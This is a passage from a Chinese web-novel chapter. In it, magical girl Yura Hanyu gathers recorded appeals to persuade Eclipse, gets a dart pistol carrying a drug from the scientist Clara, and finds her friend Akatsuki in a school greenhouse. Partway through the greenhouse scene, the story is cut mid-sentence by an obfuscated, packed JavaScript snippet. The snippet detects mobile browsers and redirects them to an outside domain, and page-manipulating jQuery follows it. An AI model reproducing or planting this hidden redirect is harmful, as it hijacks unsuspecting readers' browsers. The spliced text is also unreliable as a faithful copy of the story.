“她应该是不想要的。”有乐羽生想起了艾克里普悲伤的模样,“至少曾经是不想要的,但她还是记起来了,现在的她才是本来她该有的样子吧。” “所以,她想让你们理解她,艾克里普小姐是一个内敛又藏不住情绪的人呢。”启明星不禁笑了,“她一定非常依赖自己的眼睛吧,那是一双真正意义上能看穿人心的双眼。” “是的。”有乐羽生想起了她们之前的对话,艾克里普好像有读心术一般。 “但是同时,她又总是无论自身情绪多么激动都不会去处理,我想,艾克里普小姐或许并不知道,她其实还挺人性化的,这件事。”启明星想了想,补充道,“我的意思是,她从不认为自己是人类。” “这一点倒也确实如此。”有乐羽生认可地点头,“她好像有些在意这件事。” “我们需要让艾克里普小姐意识到这件事,也就是,她拥有,且能理解人类的感情,这并不是一个既定存在的事实,而是需要去主动证明,主动使用的。”启明星郑重地解释,“要让她注意到自己流泪的原因,您得帮帮她。” “我,我该怎么做呢?”有乐羽生还是没得到要领,但她理解了启明星话语中对艾克里普的怜悯,这令她想要流泪。 “亲口告诉她,我不想去那里,说您害怕,说您不喜欢那个红头发的幽灵,说,艾克里普帮帮我吧。”启明星说,“您一个人不够的话就加上我,加上她所有在意的人,这样或许她就会愿意再考虑考虑了吧。” 有乐羽生抱着相机,有些不知所措。 “我们要说服艾克里普,让她对付利奥拉吗?”有乐羽生确认道。 “那疯子想建立新的生态环境,代价大概是现有的人类文明吧,现在这个情况下她能选择让那些天使把这里夷为平地,但她选择修复建筑,只因为,她想彰显仁慈。”启明星冷声说,“但若是利奥拉还需要艾克里普的认同,那就说明艾克里普拥有一票否决权,不然以那家伙的专制哪里会在乎一个个体的想法。” “是哦。”有乐羽生应道,她感受到启明星对利奥拉不带掩饰的厌恶,心中有些好奇。 “所以,我们并不是要催动艾克里普去杀死利奥拉,而是要让她投下否决票。”启明星笑着说,“请记录选民发言吧,不需要说‘我不认同她的想法’,要说‘我想要或不想这个’,有乐小姐,我相信您精于此道。” “当然!”有乐羽生心中有了决断,手中的相机也有了重量,“艾克里普的朋友不多,大概全都在这座城市里了,我会一个一个找过去的!” “就是这样!”启明星鼓励道,“那就从你我开始练习吧!” “说起来,您说,利奥拉找您,是因为什么呢?”有乐羽生还是非常好奇,“是看重您的能力所以想雇佣您吗?” “很遗憾,她看中的是我的‘可能性’。”启明星大拇指和食指捏出一个不到半厘米的距离,“她自顾自地认定我是她曾经同事的转世重生,准备把我的人格纠正一下放在身边摆着呢。” “不过您很讨厌她,您拒绝了吗?”有乐羽生很好奇原因。 “她看中我是因为可能性,我拒绝也同理。”启明星笑了笑,“这真的还挺恶心的。” 有乐羽生感同身受地点头。 “艾克里普小姐,别来无恙。这些记录行动是我主观提出的,目的是清晰直观地告诉您我们的想法,相信您已得知我们之中的部分如今已发生了不可逆的改变,所以,请认真地听我们说的话,考虑我们的想法吧。”启明星正面面对摄像机镜头,显得非常自然得体,她一向如此,“那么我就不多说废话了,我并不想成为利奥拉的朋友,也不想去她身边工作。” “这样就可以了吗?”有乐羽生收回摄像机,递给了启明星。 “足够了。”启明星站在楼梯上将镜头对准了有乐羽生。 面对镜头,有乐羽生有些紧张了起来。她想起之前自己为了证明天生目白的死亡是一场谋杀而主动去往镜头下的时刻,那时,她知道自己的朋友在不远处等她,于是她心怀勇气。 但现在,她的同伴们也在等她,不过是以另外一种方式。 “艾克里普,你好。”有乐羽生先打招呼,她觉得这样有些奇怪,忍不住笑了出来,“哈哈哈,这样和你打招呼好奇怪。我有必须要和你说的话,你说,我们会在一个美好的世界团聚,但我觉得那太奇怪了,因为我们本来就一直在一起的,还是说你悄悄去了我们不知道的地方?总而言之,无论那位利奥拉是谁,创建的国度有多美好,我都不想去。你解释也没用,我不会听的,我还在对你感到生气,但是,我不想放弃。” 视频录制结束,有乐羽生带上相机,与启明星告别,前去寻找自己的朋友们。 86.Day1-下 从西部市区东南部分的商业区为起点,有乐羽生准备先前往克拉拉的实验室寻找犬山晓的下落,她刚才尝试使用启明星提供的电话拨打对方的号码,却发现行不通。 信号消失了,紧急通讯也无法拨出,就好像有谁将这片区域的通信卫星短暂地蒙上了一层纱布一般。但电力正在逐渐恢复,比起路边一盏盏在修复后逐一亮起的路灯,那天空中不时窜出的长线更为惹人瞩目。 那长线是从整座城市的最高点,也就是瞭望塔为起点往城市各处的高楼建筑发射连接的,再由那些高楼建筑为第二起点继续发射向下一个目标,宛如一根根电线一般将城市上空网罗了起来。随后一面面彩旗和灯笼被挂了上去,什么颜色都有,像是人造的雨后彩虹。 克拉拉的实验室位置在城市西北角偏老城区的位置,而瞭望塔的位置在东北角,也就是Evo园区的旁边,有乐羽生想了想,先行前往了东北角查看异常情况,希望能收获一些有用的线索。就现在的情况来看即使是遇上了天使,对方也不会主动与她产生争斗行为,甚至如果能好好说话的话也能沟通一番。 时间只有一天,结果仍是未知数,但她会做到自己能做到的最好的,或者更好的。 市区正北部为市政府办公区域,此时那些设计死板的素色楼房也被强行缠上了些许挂着彩旗和灯笼的绳索,显得格外热闹。 瞭望塔之前就没有因为地震而出现倒塌的情况,只是周围的部分围墙和树木损毁严重,现在也都被修复得看不出曾经被震动击倒过。有乐羽生没有犹豫,迅速向上飞去。 瞭望塔顶端,有个跪趴在地上的人影,她的身前架着一台黑色的狙击枪,但很明显那些散落在地上的五颜六色的子弹壳曾经装载的并不是火药。她身着黑色马甲与罩裙,灰褐色的头发上顶着黑色毛线帽,紫色的围巾将她的半个脑袋都笼住了。 “…你好。”那人很明显就看见了有乐羽生,但犹豫了许久才起身开口打招呼,但开口了也就只有一句你好。 “您好。”有乐羽生点头回应,这是一位她没见过的天使,对方灰褐色的头发下皮肤也是灰褐色的,紫色的围巾遮住了她半张脸,只剩下上半张面孔谨慎地暴露在空气中。 这个天使的表现让有乐羽生想起了格雷伊。那人似乎没有要继续说话,或者介绍自己名字身份的意思,只是迅速地就移开了视线,回到了原来的位置。 “我是有乐羽生。”有乐羽生有些犹豫,但还是问了一下,“请问您知道犬山晓在哪里吗?” “不。”那人沉闷的声音从围巾中传出。 “您是,天使的一员?”有乐羽生有些怀疑。 对方没有回应,有乐羽生看见她稍微点了下头。 “那您一直待在这里瞄准的话,应该是能察觉到晓现在在哪里的呀?”有乐羽生顿了顿,循循善诱地补充道,“利奥拉说了让你们帮忙的吧,就当作是顺带着帮帮我如何?” 那人略微侧过头来,用自认为隐蔽的视线看了看有乐羽生,似乎是有些纠结什么。 “我是居里。”她闷闷地说,“我不负责定位,去找库伦或者伦琴。” 说完,她又转过头去忙自己的事情了。 这两个名字有乐羽生都不算陌生,但无论是哪个她现在都没办法迅速找到。她想了想,这位居里身上不想和别人说话的信息传达地足够明显了,但有乐羽生看着对方帽子上,领带上,手套上,腰带上,运动鞋上的紫色水晶装饰物,有了些想法。 “其实,我之前从很远就注意到您身上有亮晶晶的东西呢,那些是您挑选的饰品吗?”有乐羽生感叹道,“虽然我觉得你们的这身制服很一般,但您的搭配品味很不错呢。我没有别的想说的,就先走一步啦。” 居里从有乐羽生说她身上亮晶晶的时候就转过头看她了。 “…我看见那个黑头发的高中生去了一趟西北角,然后往南边去了。”居里说着,眯起眼睛笑了笑,“谢谢你这样说,下次见。” “谢谢,再见。”有乐羽生不太想和她下次见,对自己套话的行为不免有些心虚,“可能吧。” “好了。”居里又转过头去了,“拜托别再和我说话了。” 天使里也有这样的存在呢,有乐羽生心想,转身朝市区西北角滑翔而去。若是不出意外的话这个定位大概率就是指克拉拉的实验室,这个消息让她稍许安心了一些。 克拉拉小姐是个很厉害的科研人员,说不定有什么办法呢?有乐羽生这样想着。 之前她只去过一次克拉拉的实验室,其所处位置隐蔽,有乐羽生寻找了一会之后才找到那个有些熟悉的巷子拐角,她从入口处的楼梯下行时不禁有些紧张了起来。 入口处楼梯下,破旧的门应该是上了锁,有乐羽生打不开,附近也没有看上去像门铃的东西,她思索了一会之后敲了敲门。 不久,门自动打开了,前方是另一道金属门,有乐羽生在那之前站定并等待面部识别扫描,过后,金属门打开,冷气和白光一起倾泻而出。这里和她上次来的时候相比乱了许多,但依稀还是能看出并没有太大的变动。 而混乱的制造者,也就是实验室的拥有者本人克拉拉正在翻动靠墙文件柜里的东西,大多数都只是看一眼就往身后扔去,纸张飘落,层层叠叠地堆得到处都是。 “有乐羽生?”克拉拉勉强回过头看了一眼来者就继续转过头去了,她不准备待客,“有事就说吧,我现在没空和你交流些什么。” “好的。”有乐羽生点了点头,没有太在意,“我是来找晓的,她之前来找您有说什么吗?” 克拉拉手里的动作一顿。 “她没有来找过我。”她说着,没有回头,“通讯信号出现了问题,是全城现象,但我有个人途径观看转播,那可是你们魔法少女的大事件。她来找我做什么?” 说完,她继续翻起了手里的文件。 有乐羽生一顿,她意识到这意味着犬山晓与克拉拉没有见过面,但居里没有在这方面说谎的理由,均衡之下,她理解了些许为何犬山晓来找克拉拉,却没和她见面。 “其实现在已经不是魔法少女的大事件了,克拉拉小姐。”有乐羽生郑重地说。 “那个特异点从压力舱里消失了,这个事实与今早发生的事情有所关联吗?”克拉拉头也不回地问道,她的声音没有波动。 “应该是,我在艾克里普的手里看到了那把石杖。”有乐羽生顿了顿,问道,“她说自己想起了什么,随后态度变得很奇怪,您知道些什么吗?” “…原来如此。”克拉拉停下了手里的动作,转过身推了推眼镜,看着有乐羽生,“那本就是属于她的东西,往最坏的发展推测的话,她大概率是拥有了那其中保存的信息了。” “启明星也说了类似的话,艾克里普之所以能默认这一切的原因是她找回了以一千年为假设时间年份的记忆。”有乐羽生说,“那是她不想要的记忆,她记起来之后就变得有些奇怪了。” 这个消息让克拉拉陷入了思索之中。 “合理的。”克拉拉总结道,“非人却拥有人类思维的存在,除去人工智能以外就只有之前你们遇到的那些异常人士了,无论是哪种,在考虑过后都不会喜欢人类的。” “…可是,她应该也挺喜欢我们的吧,她也并不是人工智能。”有乐羽生无奈地说,“您认为她没有可能帮助我们了吗?” 这一点也是有乐羽生犹豫的一点,她知道自己现在所做的事情,总结来说就是用感情攻势让艾克里普回心转意,这并不是成功率高的做法,甚至有乐羽生知道抱着这样想法的人通常很容易被骗,因为这是轻信。 但这是她现在能做的唯一的一件事了。 “为什么她不认同你们这件事就没有解决方案了?你的话听上去很悲观。”克拉拉皱眉问道,“虽然那位魔法大师看上去确实无所不能,但魔法这方面也并不是没有其它人可以帮忙的吧,小犬山她人呢?还有森山寺那两姐妹。” “克拉拉小姐,她们。”有乐羽生不知道该从哪里开始解释这件事,可是她必须得解释清楚,“您知道Evo会对天使进行洗脑,并使用特殊手段控制她们行动吧。” “知道。”克拉拉说着,语气里夹杂了一些不可置信,“你不会是想说?!” “晓和未央未雅她们也是差不多的情况,但更糟。”有乐羽生的声音低了下来,“她们现在发自真心地认同对方的观点,您理解吗?若是强制性的手段的话她们是绝对会反抗的,但她们现在和艾克里普一样,发自真心地认同即将到来,以及正在发生的一切。我想做的就是纪录下一些反对者的话,好让艾克里普看了能回心转意。” 就像是那个时候,在那个她困住自己的结界中,艾克里普想让有乐羽生回心转意一样。 “证明呢?执行方式是什么?”克拉拉不可置信地问,“昨天你们不是还飞天遁地到处跑吗?今天怎么就变成这样了?这也太过不合理了难道说魔法这种东西就是我没办法理解的吗?” 她的声音像是用显微镜看了半天也没看出来为什么看不到东西结果销毁实验素材之后发现是镜头盖子被蒙住了的微生物研究人员一样无力。 “我不知道。”有乐羽生说,“我不知道发生了什么,但是,但是按照艾克里普的说法她们并不是自愿的,而且过程应该并不包含杀人行为。” 克拉拉找了个椅子,把上面的纸张扫到地上,坐下了,抬头看着天花板,取下了眼镜。 “我也该习惯了。”克拉拉冷笑一声。 “不要放弃啊克拉拉小姐!”有乐羽生急迫地说,又不知道该如何安慰一位科研人员,“我不知道利奥拉想做什么但是——。” 但是什么呢?有乐羽生顿住了,她不知道什么样的但是才能让克拉拉打起精神来。 “我是说,我已经习惯实验仪器报错了。”克拉拉说,“哪怕是我,那些药物作用机制验证阶段的成功率在没有理论支持下的成功率也就25不到,好在没人看我的报告,受众群体也是些容错率高得可怜的人。” “是,是这样吗?”有乐羽生不太能听懂,但她认真地回应道,“受众群体难道是指我们吗?” “是,不过实际上对你们之中的大多数来说反而是某种毒药吧。”克拉拉再次带上了眼镜,“利奥拉,奥是重音吗,这个名字听着有点耳熟啊。” 说着,她走向角落里的电脑桌,拉开边上的抽屉,这次倒是很快就找到了一本笔记本出来,她迅速翻动着其中纸张,那其中大部分表面上只有简单的黑色涂鸦或者记录。 “您有见过这个人吗?”有乐羽生非常意外。 “不,不是见过,我可不认识这等大人物。”克拉拉一边翻一边说,“我只是注意到了。” 说着,她将翻到的那一页展现给有乐羽生看,那上面写着70-37这样的数字,有乐羽生记得这个数字,是那位名叫伊提的人留下的记录中的一部分。 “这脑筋急转弯品味到底是谁抄谁的呢?”克拉拉说着,拿起一支笔在上面写了点东西,并反转了一下。 LEA-ORAL,这样的名字出现在了纸张之上。 “…真的有这样的事情发生吗?”有乐羽生不可置信地看向克拉拉,“这,这真的确实是这样的吗?会不会太强行了?” “若是仅将这两个表象放在一起的话,那就是无效的。”克拉拉说,“但是加上理论支持,例如时间回溯,那家伙的思考方式,行为,以及其它,验证成功率至少有50%吧。” “那不是才一半吗?”有乐羽生想不到克拉拉这样张扬的人说话还挺保守的,但现在这个情况她还是希望听到类似于100%这样的可能性,实在不行也得是99%吧。 “这还不满足吗?你以为成功率是什么考试成绩一样的东西吗?这可是比财务报告预测中的每个对比率都更为珍贵的数字!”克拉拉不满地说,“基于这个成功率的话,有一个事实可以被使用了。” “什么事实?”有乐羽生虚心求教。 “你们所面对的那个存在,利奥拉,她曾经是血湖0号实验室的一部分。那可不是一个对外开放简历投递通道的有限公司,是比我这更加隐秘,而且控制手段更加强硬,让那家伙在飞到大洋彼岸之后还不得不回去打工的黑心实验室。”克拉拉放下了手里的记事本,坐了下来,“你们该找的也都差不多找过了,那些实验人员名单中,有哪怕一项纪录过这个名字吗?” 她的声音有些沙哑,并不激动,只是平静地解释着过程。 “没有。”有乐羽生说道,“启明星侦探和艾克里普都帮忙处理过了,但艾克里普先暂且不提,侦探完全是今天才得知这个名字的。” “那就对了。”克拉拉摊了摊手,“注意到了吗?她是内部的,不被纪录的,被信任的,而且,不被防备的。她是0号实验室的实验体,并非Evo公司的那些天使或神脉医院孤儿院的那些新人,她早在1978年之前就存在。” 有乐羽生回想起了那栋红砖小楼里的孩子,回想起那红发的幽灵,回想起天使,回想起那些人造魔物,回想起那些实验设施内的器械和标本,回想起她和森山寺未央在湖边的那场谈话。克拉拉的解释十分清晰,她无从反驳也不知道为何要反驳,她为何无法接受这一切? 是因为,利奥拉那样疯狂的存在,居然也有过如此弱小的过去,这个事实让有乐羽生想起自己朋友们的离去时无法发自心底地憎恨对方了吗? “…这个事实,有什么用呢?”有乐羽生低下了头,握紧了手里的相机,“我们难道要去怜悯她的过去吗?这个事实的存在就能让她的作为显得没那么反人类,而是有理有据的吗?” “你怎么会这样想?”克拉拉诧异地问,“在你看来我是这么好心的大人吗?小犬山人比较老实也就算了,你不是市长和那个黑心顾问的孩子吗?怎么会觉得我会劝你放下?” “啊?”有乐羽生一愣,抬起头来看向对方,“那,那是为什么呢?” 她这副模样大概是有些奇怪的,克拉拉看着勾起嘴角笑了。 “她的研究和成果基于血湖,那么她所造成的精神层面的影响下,我的药物就会起作用。”克拉拉将一条腿搭在另一条腿上,撑着脑袋说,“或者说我们,吧。” 这间实验室的所作所为,克拉拉从不否认是为了追随她导师的背影。 有乐羽生理解了其中最重要的那层含义。 “如果说,你想做的是记录一些理论支持,好让成功率高一些的话,那样本纯度可是与基因表达是否正确有着非常大的关系的。”克拉拉抬手按动电脑旁的操作盘,一只机械手捧着一把黑色的左轮样式手枪来到了有乐羽生的身边,那一旁放着弹夹。 “带着这个去见她们吧,然后,如果她们脑子不清醒就给她们来上一枪,按照标注的名字使用。”克拉拉说,“注射比口服有效,记得瞄准动脉。” 有乐羽生颤抖着手抬起那把枪,它并不沉重,不知名材质的外表让她想起了有乐千实用过的那把武器,很快,她坚定地握紧了手枪把手。 “谢谢您,克拉拉小姐。”有乐羽生道谢,“无论是过去还是现在,您所做的事情无论是否是为了我们,都一直在帮助我们。” “像是被安排好的一样不是吗?”克拉拉这样说着,却是笑了,她摘下眼镜,“我以前想过这样的事实,但结果总是出乎意料,我也该习惯了。” 有乐羽生看着克拉拉,感受到了她语气中并没有完全对这一点感到释怀,但她现在也理解了一点,也就是,科研人员是不可以说绝对有和绝对无的。克拉拉是个好人吗?有乐羽生无法定论,但她总在不断地求实。 “伊提阿姨会为您感到自豪的,克拉拉小姐。”有乐羽生肯定地说。 “轮不到你一个高中生来说这一点。”克拉拉不满地说,“说起来你之前说小犬山她来过这里,这句话属实吗?” “提供目击线索的那位是天使中的一员,她现在没有对我说谎的理由。”有乐羽生说到这里看了眼克拉拉的脸,补充道,“但晓她可能只是路过这里,我以为她来找您了而已。” “…她怎么可能路过这里,她可讨厌这附近的区域了。”克拉拉深深叹了口气,“到底是有什么事是不能和监护人说的?小孩子就是麻烦。” “那个,克拉拉小姐。”有乐羽生不知道该不该由她来说这件事,但现在她觉得对方必须知道,“您一直说自己是晓的监护人,但其实,她的年龄或许是与您差不多,甚至比您大上一些的。” 按照禾草代目的年龄来算,犬山晓并不是一个可以被克拉拉监护的孩子了。 “…真的假的啊?”克拉拉沉默许久后发问,眼镜都掉在了地上,她看了看天花板,似乎是在回忆着些什么,表情逐渐变得扭曲而挣扎了起来。 “她从来没有把自己视作为一个孩子,一直很照顾我们。”有乐羽生想了想,又说,“她也一定很照顾您吧,即使是以她自己理解的方式去做的。” 但很明显,这句话最深的理解者克拉拉已然沉浸在自己过去的监护人言行中无法自拔了。 “我,我还说要去给她开家长会。”克拉拉一想起当时的情况,窒息感就攥紧她的声带,“她为什么不早说?她为什么不说?” 但随即,她意识到这或许也是“照顾”的一部分,她们的相识不算美好,至少犬山晓看来她自己那时的情况不适合强调自己的自主性。 有乐羽生没有发言,她看着克拉拉捂着自己的脑袋摇晃。许久之后,她终于松开了,那乱成一团的金发被她自己用手指随意梳理了一下,她起身,穿上了那件搁置在椅背上的白大褂。 “你去那站着。”克拉拉指着实验室的一个角落,“扶稳相机,好好拍知道吗?我以前出镜的影响力可不是现在那些付费上电视的人能比的。” 有乐羽生按照指示站到了该去的位置,想了想,她提醒说,“这个是给艾克里普看的,晓她可能看不到这个。” “我知道。”克拉拉说着,理了理衣服又在椅子上坐下了,她的颈椎习惯性地前弯一些,背不算直,但当她抬起头来面对摄像头的那一刻,有乐羽生知道看过这篇报道的人类中没有人会不听她的建议了。 “艾克里普-阿尔卡纳,我以你的那根石杖的研究人员,以及魔法相关研究者的身份对你说这番话,你不必因犬山晓与我的联系而偏向我的观点,因为我只说事实。”克拉拉微笑着说,“你毫无疑问是魔法领域最具权威的那位了,所以我的言论不涉及任何与魔法相关的信息。 你的那根那根石杖,我之前将其称之为特异点的理由在于,我曾认为它是一个体积无限小,密度无限大的,不受物理定律控制的点。但这个论点的提出者,也就是我本人并不精于物理而且讨厌承认错误,所以一直没有纠正。但是现在,我要否认我之前不成熟的论点。我根据后续研究与实验观察得到了新的论证,以支持新的论点,也就是,那根石杖本身是一个个体。 若是你无法理解的话,那我可以直白地说结论,每个与石杖接触到的人都并非是进入了某个世界,而是在与石杖本身交流。你得到了那根石杖后获得的,或者说回忆起的每个记忆片段都是以个体主观陈述的,那个人或许是你自己。你是否察觉到了这一点呢? 基于这一点假设,我必须告诉你一个客观事实,也就是不可让沉没成本影响重大决定,无论那是多大的,持续了多少年的纪录,你曾经丢掉过一次,那么再次捡起时,你同样还是拥有选择是否要接受的权利的。 在这基础上,我希望你能理解那根石杖真正想和你说的东西。” 录制结束了。 “…希望能起到一点作用吧。”克拉拉又在椅子上缩起来了,重新带回了她的眼镜。 “谢谢您,克拉拉小姐。”有乐羽生郑重地把相机收好,“我会让艾克里普看完的。” “如果,你找到了小犬山。”克拉拉顿了顿,继续说,“就和她说我这里遇到了麻烦,让她赶紧过来帮忙。” “为什么不直接说您想见她呢?”有乐羽生无奈地说,“即使没有了监护人这层身份,你们两个也还是朋友呀?” 克拉拉听到这句话后没有说话,只是挥了挥手让她赶紧走。有乐羽生有些无奈,但还是准备动身离开了。 “等我准备好了,我自己会说的。”克拉拉的声音被淹没在了合拢的金属门后。 从实验室出门后,有乐羽生按照居里的指示往南边走,如果她猜的没错的话犬山晓大概是在宿舍或者日之森校区。城市在她没入建筑的那段时间里又多了许多装饰,有乐羽生心想那位居里一定是个认真负责的手下。 一路向南,有乐羽生在经过艾克里普的事务所上空时停顿了一下,发现那还是只有一层假象覆盖在上面。 日之森校区内,从主干道进入后走到底然后左拐,通过日之森绿地河的桥达到对岸,这里就是日之森校园温室。平日里这里主要由园艺部的同学在使用,也有一小部分被规划里出来交给科研需要,内部规划整齐,每日下午6点后会有工作人员前来打扫。 但今天情况不同,由于地震以及利奥拉的原因,学校里连安保人员都不存在,温室内虽然没有受到多大的影响,但部分植物还是需要定时浇水的。 这就是犬山晓现在正在做的事情。 “你就做这个?”电子音嘲笑道,“利奥拉说帮忙,你就做这种机械手也能做到的事情?” 犬山晓没有理会这个人形电子音播报员,她是西弗尔特,曾经的天使的一员,她曾在高速上把对方心脏捏碎了了然后丢下车,因为状态稳定魔法,她勉强捡回了性命。二人自然并不是什么可以和谐地站在一起给植物浇水的关系,但由于利奥拉特地下的命令,她现在没法和有联系的任何人动手打架。 西弗尔特也并非是特意来进行言语攻击的,她的目的来参观日之森校园这个她部下曾经工作过的地方,犬山晓没有打算理她,但不知为何这个人在逛了一圈之后自己跑过来找她了。 “那个盆栽水要溢出来了!”西弗尔特嘲笑道,“这个都做不好?你连机械手都不如啊!” 犬山晓一愣,赶忙收回了水壶,转身对让她分心的存在怒目而视。 “你参观完学校还待在这里干什么?”犬山晓尽可能心平气和地问,“你能不能去找点事做?而不是在这里对我指手画脚。” “你这样能叫做事?你充其量不过是躲起来不敢见人而已。”西弗尔特鄙夷地说,“而且我干什么关你什么事?我们是平等的我想干什么就干什么。” “…随便你吧。”犬山晓叹了口气,她知道对方说的没有错。 现在她哪也去不了,什么也做不了,无论是阻止利奥拉也好,还是离开这里也好。甚至她发自内心地不想离开这里,也不想反驳利奥拉说的那些话。 那就这样吧,犬山晓看着那些盆栽和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15808019|173535||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 植被,换了个地方浇水。 “喂那个你不能吃!”犬山晓紧急阻止西弗尔特摘园艺部同学种的小番茄,“这是这里的同学种的,你别碰!” “我想做什么就做什么,你别管我!”西弗尔特不屑地说,“而且没过多久这些就都不复存在了,你做的这些不过是无用功而已。还不如让我吃了,利奥拉说不要浪费。” “照你这个说法市中心的那些装饰物不也是在浪费吗?”犬山晓质疑道,“而且你真的什么都没有在帮忙,你只是在这里打扰我。” “那不一样!”西弗尔特生气地说,“利奥拉说了铺张浪费是庆典的必要项目!” “那你呢?你到底是为什么待在这里?”犬山晓还是不理解对方待在这里的原因,“实在不行你去找你那些同事玩,让我在这里安静一会可以吗?” “那尽是些没价值的工作。”西弗尔特不服气地说,“我知道你,你以前也是实验体,你为什么会跑来这里上学?” 西弗尔特一直盯着犬山晓看,似乎不得到答案就不会移开视线。 “因为这是正常人该做的事情。”犬山晓平静地回答。 “你这回答还不如西西路呢,至少她看书有真的学到些什么东西。”西弗尔特嘲笑道,“你自己也知道自己终究与普通人不同的吧,尽是在做些无用功。” 这下犬山晓知道了,西弗尔特就是在打压她,或许是因为曾经的争斗,也可能是因为西弗尔特就是喜欢打压别人,总之,她想把犬山晓比下去。 “你几岁?”犬山晓问,“不是外表,我说你实际年龄几岁。” “我17,但我在你这个年龄的时候就比你高了!”西弗尔特强调说。 “那也不小了啊,为什么你表现的像个小学生一样?”犬山晓质疑道,“你的教练和CEO没教过你不要和别人攀比吗?你和我比到底是能得到什么?” “你懂什么?只有强大的存在才能获得嘉奖,你们普通人的行事准则是为了体贴那些弱者,我们可不需要!”西弗尔特不屑地说,“最强大的人可是能获得CEO的奖励的,什么都可以要,无论是你们普通人喜欢的那些东西还是特殊的东西,你根本想象不到吧!” 于是犬山晓稍微理解了西弗尔特这喜欢攀比的心理从何而来。 “但是按照利奥拉的说法,你以后就不需要再继续攀比了吧,她说了我们是平等的。”犬山晓说,“那么无论弱小还是强大对她来说应该都是一样的。” “你,你懂什么?”西弗尔特愤怒地说,“CEO承诺过会给最强大的人奖励的,她的承诺永远都奏效的!” “CEO?湛吗?”犬山晓想了想,“她死了吧,也不在我们之中。” “利奥拉说了会把她带回来给我的!”西弗尔特用她自己的声音发泄着情绪,“她说了,可能性存在那她就会将其实现,CEO会回来的!然后她会给最强的我奖励!” 听着对方的声音,犬山晓心里怀疑西弗尔特到底是真的想要奖励,还是想要被承认她是最强的那个。 “先不说她能不能做到吧。”犬山晓想了想启明星,不觉得她是能被轻易改变的人,“现在这个‘我们’里面不仅包含天使,也包含了我,你打不过我的。” 西弗尔特不说话了,她死死盯着犬山晓。于是犬山晓这才想起来利奥拉似乎是没有禁止天使们对她动手的。 “你给我——”西弗尔特抬手就要打犬山晓,随后,她的手被抓住了。 有谁悄无声息地出现在了温室之中,她落地时只发出“哒哒”两声,没有开口说话,却转瞬间让温室内的气温都下降了几度。如同漏水的天花板在化雪的那天落下的水滴,她出现在西弗尔特的身后,轻轻,又毫无动摇地停止住了西弗尔特的动作。 犬山晓一愣,看了过去,那青年将草绿色的头发编织为发辫搭在肩头,露出扎满黑色耳饰的双耳,眉头皱着,双眼垂下。她身着黑色马甲与罩裙,手部皮肤是黑色的,双腿被器械假肢代替。 “西弗尔特,车在等你,你超时五分钟了。”青年的声音因为飘忽而有些阴森。 “抱,抱歉,仑目。”西弗尔特迅速地恢复了冷静,瞪了犬山晓一眼后老实低头道歉,“我马上去帮忙。” 犬山晓心想这不是能被人管着吗? 或许是视线太明显了,西弗尔特瞬间就察觉到了这一点。 “她也在浑水摸鱼!”西弗尔特指着犬山晓说,“她根本就是在做无用功,这里的植物对庆典根本毫无意义可言。” 仑目放开了西弗尔特的手,双手自然垂下,歪头看向犬山晓,她的眉头依然紧皱着。 “行动就有意义。”仑目说,“西弗尔特,行动起来。” “是!”西弗尔特的背部迅速挺直了。 仑目在得到回复后点了点头,她低头看向地面,眉头皱的更紧了。 “我不在此过多停留,先走了。”仑目说着,如来时一般悄无声息地离开了温室。 于是温室恢复了温暖。 “…这次就算了。”西弗尔特沉默了一会后说,“我确实不该在你不能还手的时候攻击你,下次你就没这么走运了。” 说完,她头也不回地转身离开了。 犬山晓叹了口气,拿着水壶继续给温室内的其余植物浇花,看着那棵小番茄,她顿了顿,伸出了手。 忽然,身后的温室门被人推开了,犬山晓疑惑地回头,却发现来者是有乐羽生。 “晓!”有乐羽生赶忙走上前,“原来你在这里呀。” “羽生,你没事真是太好了!”犬山晓看到有乐羽生平安无事感到了安心,但很快,她内心地想法产生了波动。 不够好,她心想,只要羽生还没有回归,那么她就还有可能遇到危险。 “怎么了?”有乐羽生看到犬山晓的表情变了变,担心地问,“是因为利奥拉的原因吗?” “…你知道了。”犬山晓沉默了片刻之后,犹豫地开口说道,“我现在说话可能不太能清晰地表达我该有的想法。” “晓以前说话就经常这样呢,因为不确定自己言论是否正常而说话很慢。”有乐羽生怀念地说,“说真的,能看到你我真的很安心,即使只是这样看着。” “…我,没办法说我也是。”犬山晓缓慢地说,“我看着你时,会担心你遇到危险,会迫切地希望你也回到我们身边来,但是,我也希望你快些离开这里,不要来管我了。” 犬山晓看向有乐羽生,希望对方能理解自己矛盾的言行中所代表的真心。 “先让我说明来意吧。”有乐羽生没有犹豫,开口说道,“艾克里普她找回了过去的记忆,认同了利奥拉的想法,但我们两个尚且还未出现异常情况。启明星侦探说还有可能性,想让我收集同伴们发自真心的想法,好让艾克里普回心转意阻止利奥拉。” “…我甚至没办法认同这个做法,但我不会阻止你的。”犬山晓说。 “针对这个状况,克拉拉小姐准备了特效药。”有乐羽生将手探入怀中,迅速掏出了手枪对准犬山晓,“举起手来!” 犬山晓一愣,配合地举起了手。 “居然如此听话吗?”有乐羽生惊讶道,“我以为你会反抗一下的。” “我没有被这样命令。”犬山晓笑着说,“想做什么就做吧,我不会阻止你的,羽生。” 于是有乐羽生清晰地感知到了,犬山晓并没有发生改变。 于是,有乐羽生毫不犹豫地开枪,子弹射出时没有发出声音,那特殊材质的弹壳脱落后一枚小小的子弹形针头跨过温室植被没入犬山晓的颈动脉。 这与她平时食用的那种精神释缓药物有所不同,药物进入血管中后迅速奏效,犬山晓感受到了一种震荡般的眩晕感,在与心脏跳动的速度齐平的剧烈振颤中,她身上的某些与血液相链接的东西被迅速地剥离开了,但她又还在原地。 犬山晓以为自己要死了,因为那剧烈的剥离之后她的身体迅速地变得虚弱了起来,但药效缓缓平复,她还站着,她还有站立的能力,不如说,她本就有这些。 她在药物的作用下,短暂地变回了一个普通人,不仅仅是魔法失去了效用,就连那与她血脉相连的制约和想法也一同被擦去了。 她意识到,这一针,是接近致死剂量。 “…克拉拉她,还研究这种东西吗?”犬山晓在温室长椅上坐下了,体验着久违的虚弱无力感。 